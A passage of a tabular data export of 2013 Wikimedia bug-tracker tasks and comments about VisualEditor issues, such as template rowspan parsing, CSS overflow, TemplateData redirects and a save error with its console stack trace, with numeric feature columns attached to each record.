https://pt.wikipedia.org/wiki/Special:Contribs/Helder.wiki?dir=prev&offset=20130805170824&limit=11&uselang=en",,,1375725903,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,14.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,3.4285714285714284,0.6964285714285714,"For now, I moved the relevant code from [[pt:Template:Tabfootrow]] to [[pt:Template:Tabfoot]] and then I updated the only two articles which uses that template and informed about this change in the talk page of one of them:
URL"
244932,"VisualEditor shows rowspan=""4"" on template generated tables","I left a message in the talk page of one of the articles which uses the template:
https://pt.wikipedia.org/wiki/Discuss%C3%A3o:Primeira_Liga_de_2013%E2%80%9314
and in the thread where its author announced the new template:
https://pt.wikipedia.org/wiki/WP:EA#Novas_predefini.C3.A7.C3.B5es_para_tabelas_de_futebol",,,1375204451,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,17.0,0.0,9.0,3.0,3.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6,0.6857142857142857,"I left a message in the talk page of one of the articles which uses the template:
URL
and in the thread where its author announced the new template:
URL"
244929,"VisualEditor shows rowspan=""4"" on template generated tables","I am not editing the template -- someone on pt wikipedia (matmarex) should verify that existing pages wont break with the change and do it.  But, offhand it does seem safe to fix.",,,1375202187,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,True,,,4,,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,10.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.675,0.925,"I am not editing the template -- someone on pt wikipedia (matmarex) should verify that existing pages wont break with the change and do it.  But, offhand it does seem safe to fix."
244921,"VisualEditor shows rowspan=""4"" on template generated tables","Buggy template: http://pt.wikipedia.org/w/index.php?title=Predefini%C3%A7%C3%A3o:Tabfootrow&action=edit

It should be ""|rowspan=..."" instead of ""||rowspan=...""

echo ""{|\n|foo{{User:Ssastry/Templates/tabfootrow|rows=2|content=foobar}}\n|}"" | node parse

works properly with the correct wikitext.",,,1375202101,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,11.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.409090909090909,0.7727272727272727,"Buggy template: URL

It should be ""|rowspan=..."" instead of ""||rowspan=...""

echo ""{|\n|foo{{User:Ssastry/Templates/tabfootrow|rows=2|content=foobar}}\n|}"" | node parse

works properly with the correct wikitext."
244915,"VisualEditor shows rowspan=""4"" on template generated tables",Parsoid bug: http://parsoid.wmflabs.org/pt/La_Liga_de_2006%E2%80%9307?oldid=36362539 (you'll have to scroll down quite a bit),,,1375147278,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,1.0,Parsoid bug: URL (you'll have to scroll down quite a bit)
53805,VisualEditor: It's possible to edit pages that were translated using the Translate extension,"The page https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide/he was created by the Translate extension. It's impossible to translate it using the source editor and trying to do this gives the user a link to the translation interface. But it seems to be possible to edit it using the VisualEditor. I didn't actually try to change anything, because I was afraid of breaking something badly.

I'm also not completely sure whether it's a VE or a Translate issue; I file it under VE because there are other issues in which VE behaves differently from the regular edit action, such as Bug 51459. But it may also be on the Translate side; CCing Niklas and Siebrand.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1374495000,1374854170.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-calntit5bgsnncojx237,task_description,resolved,True,c1,3,False,False,True,3,,0.0,1.0,0.5,0.5,1.0,6.5,1.5,1.0,0.0,0.0,1.5,1.0,0.0,0.0,0.5,2.0,0.0,4.5,9.5,1.0,2.5,0.0,0.0,0.0,1.5,0.5,0.5,0.0,0.5,0.0,0.0,5.0,0.0,4.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,1.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,3.0,13.5,2.0,3.0,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,6.5,9.5,5.0,0.0,0.0,0.0,6.5,0.0,0.5,2.0,0.0,2.0,0.0,0.0,0.0,4.02112676056338,0.7464788732394366,"The page URL was created by the Translate extension. It's impossible to translate it using the source editor and trying to do this gives the user a link to the translation interface. But it seems to be possible to edit it using the VisualEditor. I didn't actually try to change anything, because I was afraid of breaking something badly.

I'm also not completely sure whether it's a VE or a Translate issue; I file it under VE because there are other issues in which VE behaves differently from the regular edit action, such as Bug 51459. But it may also be on the Translate side; CCing Niklas and Siebrand.

--------------------------
**Version**: unspecified
**Severity**: major"
244865,VisualEditor: It's possible to edit pages that were translated using the Translate extension,"It's never actually been able to bypass the Translate extension's system-level protection of the page - but the problem is you shouldn't be able to trigger VE on the page in the first place, which is bug 50284.

*** This bug has been marked as a duplicate of bug 50284 ***",,,1374854170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-calntit5bgsnncojx237,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,6.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5396825396825395,0.6825396825396826,"It's never actually been able to bypass the Translate extension's system-level protection of the page - but the problem is you shouldn't be able to trigger VE on the page in the first place, which is bug 50284.

*** This bug has been marked as a duplicate of bug 50284 ***"
244857,VisualEditor: It's possible to edit pages that were translated using the Translate extension,"Urged by Niklas, I tried to save and got: ""Unsuccessful request: Unknown error: ""tpt-target-page"".""

So at least it doesn't ruin anything, but it should be more intuitive.",,,1374853627,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-calntit5bgsnncojx237,task_subcomment,,True,c1,3,False,,,3,,0.0,2.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,2.0,2.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,2.0,0.0,9.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.3181818181818183,0.7954545454545454,"Urged by Niklas, I tried to save and got: ""Unsuccessful request: Unknown error: ""tpt-target-page"".""

So at least it doesn't ruin anything, but it should be more intuitive."
53793,VE: Page settings: Languages list cut off,"Screenshot of VisualEditor in Mozilla Firefox with Firebug enabled (which creates the blue overlay that indicates the contained element is bigger than shown and shows its size in the ""Schnellinfo""-Box

Original Bug title: VE: Page settings: Languages list cut off

In the page settings dialog, the languages list is not completely visible. This is due to the higher CSS selector precedence of 
.ve-ui-pagedDialog-pagesPanel .ve-ui-panelLayout (setting overflow:hidden) 
over 
.ve-ui-panelLayout-scrollable (setting overflow-y:auto)

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11501}",Needs Triage,90.0,1374481140,1374489509.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-kuzyc5hs4c2r4b2fex4f,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.5,0.0,0.5,7.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.5,0.0,15.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,1.5,10.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,5.5,4.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,1.5,1.0,0.0,0.0,4.110294117647059,0.6323529411764706,"Screenshot of VisualEditor in Mozilla Firefox with Firebug enabled (which creates the blue overlay that indicates the contained element is bigger than shown and shows its size in the ""Schnellinfo""-Box

Original Bug title: VE: Page settings: Languages list cut off

In the page settings dialog, the languages list is not completely visible. This is due to the higher CSS selector precedence of 
.ve-ui-pagedDialog-pagesPanel .ve-ui-panelLayout (setting overflow:hidden) 
over 
.ve-ui-panelLayout-scrollable (setting overflow-y:auto)

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11501}"
244064,VE: Page settings: Languages list cut off,"Change 75083 abandoned by Rillke:
Adding important to overflow:auto on scrollable elements

Reason:
Fixed by If2d5ec3168a874eb4f856450583d6c89967513df

https://gerrit.wikimedia.org/r/75083",,,1374513446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kuzyc5hs4c2r4b2fex4f,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,0.8,"Change 75083 abandoned by Rillke:
Adding important to overflow:auto on scrollable elements

Reason:
Fixed by If2d5ec3168a874eb4f856450583d6c89967513df

GERRIT_URL"
244059,VE: Page settings: Languages list cut off,"I'm pretty sure it's the same issue as on bug 51739.

*** This bug has been marked as a duplicate of bug 51739 ***",,,1374489509,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kuzyc5hs4c2r4b2fex4f,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.875,0.71875,"I'm pretty sure it's the same issue as on bug 51739.

*** This bug has been marked as a duplicate of bug 51739 ***"
244055,VE: Page settings: Languages list cut off,"Change 75083 had a related patch set uploaded by Rillke:
Adding important to overflow:auto on scrollable elements

https://gerrit.wikimedia.org/r/75083",,,1374487397,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kuzyc5hs4c2r4b2fex4f,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.782608695652174,0.9565217391304348,"Change 75083 had a related patch set uploaded by Rillke:
Adding important to overflow:auto on scrollable elements

GERRIT_URL"
53791,TemplateData for redirected templates,"Many templates are redirects from a short name to a long name. An example is
http://en.wikipedia.org/wiki/Template:Commons_cat which is a redirect to
http://en.wikipedia.org/wiki/Template:Commons_category and has 68742 pages transcluding it. Even though Commons_category has template data specified, and http://en.wikipedia.org/wiki/Template:Commons_cat/doc redirects to http://en.wikipedia.org/wiki/Template:Commons_category the visual editor does not pick up the correct parameters in the template dialog box. 

There should be a way of making the dialog work for redirecting templates without having to duplicate the documentation.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374470760,1374641783.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-ayjpiyllgpwjsso4fzvt,task_description,resolved,True,c1,3,False,False,True,3,,1.0,0.0,0.0,0.0,1.0,7.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,11.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,4.0,11.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,11.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,4.0,0.0,0.0,0.0,4.37,0.64,"Many templates are redirects from a short name to a long name. An example is
URL which is a redirect to
URL and has 68742 pages transcluding it. Even though Commons_category has template data specified, and URL redirects to URL the visual editor does not pick up the correct parameters in the template dialog box. 

There should be a way of making the dialog work for redirecting templates without having to duplicate the documentation.

--------------------------
**Version**: unspecified
**Severity**: normal"
243977,TemplateData for redirected templates,"

*** This bug has been marked as a duplicate of bug 50964 ***",,,1374641783,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ayjpiyllgpwjsso4fzvt,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50964 ***"
243973,TemplateData for redirected templates,Discussed at http://en.wikipedia.org/wiki/Wikipedia_talk:VisualEditor/TemplateData#What_about_redirected_templates,,,1374471289,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-ayjpiyllgpwjsso4fzvt,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,Discussed at URL
53771,VisualEditor: Search box and button intermittently appearing atop transclusion editor in Monobook skin,"Reported on English Wikipedia by User:Cryptic C62:

""Upon opening the transclusion editor, or upon moving a component up/down using the arrows in the bottom left, the Wikipedia search box and accompanying buttons occasionally appear in front of the transclusion editor. The behavior does not occur consistently.

Occurs in Firefox v21.0, cannot replicate in Chrome v28.0""

See image:
http://en.wikipedia.org/wiki/File:VE_Searchbox_Passthrough.jpg

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374415800,1385392734.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-m2dyfyycv5j7jnwg3sup,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,4.319148936170213,0.6702127659574468,"Reported on English Wikipedia by User:Cryptic C62:

""Upon opening the transclusion editor, or upon moving a component up/down using the arrows in the bottom left, the Wikipedia search box and accompanying buttons occasionally appear in front of the transclusion editor. The behavior does not occur consistently.

Occurs in Firefox v21.0, cannot replicate in Chrome v28.0""

See image:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
242861,VisualEditor: Search box and button intermittently appearing atop transclusion editor in Monobook skin,"This was caused by some issues with how the dialogs interacted with the Monobook skin, which have been subsequently fixed. Sorry for the slow triage.",,,1385392734,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-m2dyfyycv5j7jnwg3sup,task_subcomment,,True,c1,3,True,,,21,,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,11.0,4.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.464285714285714,0.8571428571428571,"This was caused by some issues with how the dialogs interacted with the Monobook skin, which have been subsequently fixed. Sorry for the slow triage."
53759,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'info' of undefined"" (when saving the page)","After clicking the ""Save page"" button in the ""Save your changes"" dialog, the spinner (progress bar) appears for a few seconds, then vanishes again. The ""Save your changes"" dialog remains open and the edit is not saved. 

Here is the output of the JavaScript Console in Chromium:

Uncaught TypeError: Cannot read property 'info' of undefined load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:83

ve.init.mw.ViewPageTarget.onSaveError load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:83

oo.EventEmitter.emit load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…xt%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:124

ve.init.mw.Target.onSaveError load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:16

ve.init.mw.Target.onSave load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:16

proxy load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:10

fire load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:12

self.fireWith load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:14

done load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:119

callback load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:129


The error is reproducible (with this exact console output) even when I make further edits to the article content or change the edit summary and then go back to the ""Save your changes"" dialog: I can't save seem to save my edit at all. Haven't yet seen this occur in other articles, though (this was an enwiki article).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374349320,1395355910.0,PHID-USER-wlku5ja6envbi4cz2etp,False,,False,PHID-TASK-ydxhivupzag4qu4llhwx,task_description,declined,True,c1,3,False,False,False,2,,1.0,0.0,0.0,0.5,2.0,5.5,1.5,0.0,0.5,0.0,1.5,2.0,0.0,0.0,0.0,1.5,0.0,7.0,7.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,5.0,0.5,0.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,16.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,6.5,2.0,11.0,1.0,1.5,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,7.0,9.0,0.0,5.0,0.0,3.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,11.577406720263863,0.6702741702741704,"After clicking the ""Save page"" button in the ""Save your changes"" dialog, the spinner (progress bar) appears for a few seconds, then vanishes again. The ""Save your changes"" dialog remains open and the edit is not saved. 

Here is the output of the JavaScript Console in Chromium:

Uncaught TypeError: Cannot read property 'info' of undefined load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:83

ve.init.mw.ViewPageTarget.onSaveError load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:83

oo.EventEmitter.emit load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…xt%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:124

ve.init.mw.Target.onSaveError load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:16

ve.init.mw.Target.onSave load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:16

proxy load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:10

fire load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:12

self.fireWith load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:14

done load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:119

callback load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:129


